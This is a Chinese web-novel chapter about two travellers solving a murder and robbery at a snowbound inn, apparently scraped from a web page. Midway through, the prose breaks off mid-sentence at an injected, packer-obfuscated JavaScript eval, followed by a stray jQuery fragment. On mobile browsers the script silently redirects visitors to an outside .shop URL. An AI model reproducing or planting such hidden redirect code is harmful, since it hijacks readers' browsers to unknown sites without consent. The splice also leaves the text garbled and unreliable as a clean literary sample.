傅奕去了里间检查,元治欣也不能闲着,她也开始着手查看外间的现场,上房收那么贵的钱也是有一定原因的,首先元治欣对这个房间的第一感受就是大,光是外间乘着茶水的桌子就可以坐下十多个人,足够那珠宝商人和那些个保镖一起围坐着饮酒的,此外,那坐榻也是足够两人睡的程度,而不似他们房间的,只足以容纳子雅去睡的程度。
而另一个她觉得大的原因就是空。
这么大的房间里,除了两个坐榻,一张客桌还有隔着里间和外间的几张屏风,竟然没有丝毫客人入住的感觉,就像是这个房间的初始状态一般。
珠宝商人能有那么大底气豪横也是因为他本趟行程中带有从京城行商所得的几箱财物,再加上几个保镖和珠宝商人的行李,应当不会是如此空荡的,可如今珠宝商人的财物不见了,连保镖们的行李都不知所踪。
也难怪先前书生会猜测是保镖们杀了雇主逃离而去了。
元治欣轻叹了一声,摇了摇头,虽然当时为了让大家不要相互怀疑,她有稍微将事情引导到保镖的身上,但是她心里清楚,这么大的风雪,就算是专业的保镖也走不出这风雪屏障,更不要说一夜之间搬运着财物悄无声息地离开了。
根据女店家所说,她给他们送去酒菜时,因为她,那珠宝商人和保镖们发生过争吵,瞧着桌子上的酒杯数量,应当是想要强迫保镖们一同饮酒,但保镖是要保持时刻的清醒的,否则发生什么突发情况反应不过来,可他们还是饮了,这难道是他们能被轻易杀死的原因?
可他们既然饮下了,那就一定会有所保障的,元治欣数了一下酒杯的数量,加上女店家的,应当还有两位保镖没有喝下这酒,呵,看来这珠宝商人也不是那么地不怕死嘛。
美色误人啊。
那么其他的两位保镖又是怎么被放倒的呢?珠宝商人又是怎么死在里间的?
如果珠宝商人醉倒了,保镖们也都被放倒了,照理说这珠宝商人的体型,女店家也不可能一人将他搬到里间,除非,她有一个帮手,或者珠宝商人自己主动走进里间的。
能够引得珠宝商人自己主动走进里间的,或许珠宝商人自己一开始就告诉了我们答案,是被女店家引诱进去的。
这样的话剩下的两个保镖就不可能是倒下的状态,首先饮酒这件事他们都拒绝了,那么应当就不会有什么能够让珠宝商人都没倒下就先让经验丰富的保镖们倒下了。
珠宝商人一进到里间应当就会被立刻放倒,那女店家可不似让自己受委屈的主,但这个时间的把控误差就要非常的精准了,否则外间的两个保镖就会察觉不对劲的那一刻就会行动。
元治欣模拟珠宝商人走进里间,想要看看这个过程需要多久。
方走到里间,就见傅奕绕着房间似乎在寻找着什么,而之前死不瞑目的珠宝商人被他用一块桌布盖住了面容,这到底让元治欣好受一些。
傅奕注意到了她的到来,不过见元治欣的状态不似有事找他或者进来查探房间的摸样,似乎嘴里数着步数?还是时间?也便没有打扰元治欣,待元治欣走到珠宝商人躺着的床边停下了数数,傅奕方才出声询问道,“:你在数什么?”
“从外面喝酒的桌子到这里,就算那珠宝商人喝醉了酒,行动不便,也不过半刻钟的时间。”元治欣得出结论。
“你怎么突然算起了这个?”傅奕疑惑道。
元治欣将方才自己在外间观察到的迹象和猜想和盘托出。
傅奕点了点头,表示赞同元治欣的猜想,在一夜之间,死了这么多人,且能悄无声息地运走那些金银珠宝和行李,而其他人毫无察觉,凶手一定不止一个人,而能做到如此的,嫌疑最大的就是女店家和老伙计。
傅奕带着欣赏的目光看向元治欣“元姑娘高见,傅某钦佩不已,你是什么时候知道是他们两个合谋做的?”
元治欣垂眼一笑:“受家中教育影响,我不过是看多了一些书,多多观察周围的人与物罢了,其实在柜台捡到那珠子的时候我就留有疑惑,后来又瞧见大家都来做膳食,而女店家却浑然不动,很是信任那老伙计的样子,明明前不久她才发现老伙计撒了慌瞒着她去后厨偷东西,老伙计也在我们一行人面前悄悄暗示过自己对女店家的不满。”
傅奕了解地点点头,看出了元治欣是靠人与人之间的行为交往推理的事件“:所以元姑娘你这才往他们合伙作案的方向想?呵,真是独树一帜的推理方向。”
元治欣就当他是在夸她了,“:对了,你方才在找什么?需要我帮忙吗?”
傅奕正色“:我猜,他们应当不是第一次犯案,这么多人能不惊动客栈这么多人,应当是这里有密道,我正在找。”
元治欣点了点头,也帮忙找了起来,房间里的东西不多,能容纳得下人,做出密道的地方,估计就只有床和靠墙的衣柜了。
果不其然,两人在衣柜发现了一个向下走向的密道,应当是通往一楼的捷径。
两人没打算从密道下去,打算等下去一楼再找找密道的出口在哪,屋里搜地差不多了,他们打算去一楼的柜台处看看。
正好出门可以检查一下门口是否有戳出一个口放迷烟的,这是熟悉江湖路数的傅奕提出的,能一下放倒唯二没喝酒的保镖的东西。
从结果往前推的话可以很快地发现案件的蛛丝马迹,元治欣先一步找到了门窗上的洞“:傅公子,你快来看。”元治欣一边透过洞看向房间外面,一边叫傅奕过来查看她的发现。
突然,一只眼睛遮住了一开始还可以看向外面的洞眼,双目相对,刹那间变换的风景让元治欣吓了一跳,被吓得连连后退了两步,手上就近找了个依靠,抓住了一旁傅奕的衣袖。
本来在她旁边的傅奕在门外出现人的时候就已经跨出一步往前,将元治欣挡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13719208|144819||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在的身后。
“咯咯咯,是我的不是,不小心吓坏了妹妹了。”是女店家!
听到这声音,元治欣心跳漏了一拍,半个身子都被傅奕挡在了身后,低眉垂眸,看见了傅奕另一边腰上别着的剑鞘,又心安不少。
轻轻一笑,语气中都带了点被吓后的小虚弱“没事,是我看得太专注了。”
女店家并不是一个人来的,与她同组的几个人都在,见元治欣被吓,被梁实单手抱在怀里的子雅双手伸出来,想要抱抱元治欣,梁实没有松手。
傅奕蹙眉“:女店主,下次不要这样突然出现,平常人经不起这样一吓。”
樵夫附和道“:对呀,之前在山上我遇见了个采药的青年,他也是被突然出现在他身后的树上的青蛇下了一大跳,回到家就发起了高烧,一直在说胡话,姑娘,你真的没事吧?”
元治欣紧了紧手上抓着的傅奕的衣袖“:没事,子雅乖哦。”安抚地伸出一只手抚了抚子雅的头。
女店家笑着应着傅奕的话,道“:好,好,实在是抱歉了妹妹,我也是一时好奇,见妹妹弯着腰在门口……”
傅奕点了点头,没等她说完话,径直走向门外“:我们查完了,你们请便。”攥着傅奕衣袖的元治欣也被牵着一起走了。
来到一楼的柜台,元治欣耳朵有些微红,有被气的,也有傅奕为她出气的小悸动,松开了手“:谢谢。”
看着元治欣额间冒出的微汗,怕她真的如樵夫说的那人一般生病,傅奕在心里帮女店家又添了一笔“:你真的没事吧?”
元治欣不敢瞧着他的眼睛“:没事,我们赶快搜证吧,越晚知道真相越危险。”
傅奕没多想,也行动了起来。
首先傅奕先是找了柜台的算盘,拿出元治欣之前给他的珠子,对比了一下,发现确实有所不同。
元治欣“:为什么这里会出现算盘的珠子,而且还烂了?”
傅奕打量了一下周围,朝着之前死去的书生躺着的地方轻扬了一下头,示意元治欣看一下“:你看,之前发现尸体的地方和这里,距离是不是很近?”
元治欣看了一下,柜台就在上二楼的楼梯旁,他记得当时书生还推测死者是不是从楼梯上摔下来的呢,这么一看确实很近。
“会不会,死者看见了凶手搬运尸体的现场,被杀人灭口了?”元治欣猜测。
“凶手当时双手托着其中一个保镖的尸体,结果被死者撞见,凶手怕他叫唤引来其他人,情急之下随手用柜台的算盘迎面砸了死者的额头,杀死了他。”傅奕补充细节。
元治欣与傅奕相视,对上了!
傅奕言道,“我们在附近找找看,或许密道的出口,就在这附近。”
“嗯。”元治欣点头。
“啊!救,救,救命啊!”一道呼救声打破了兴致勃勃寻找密道的两人。
遭了!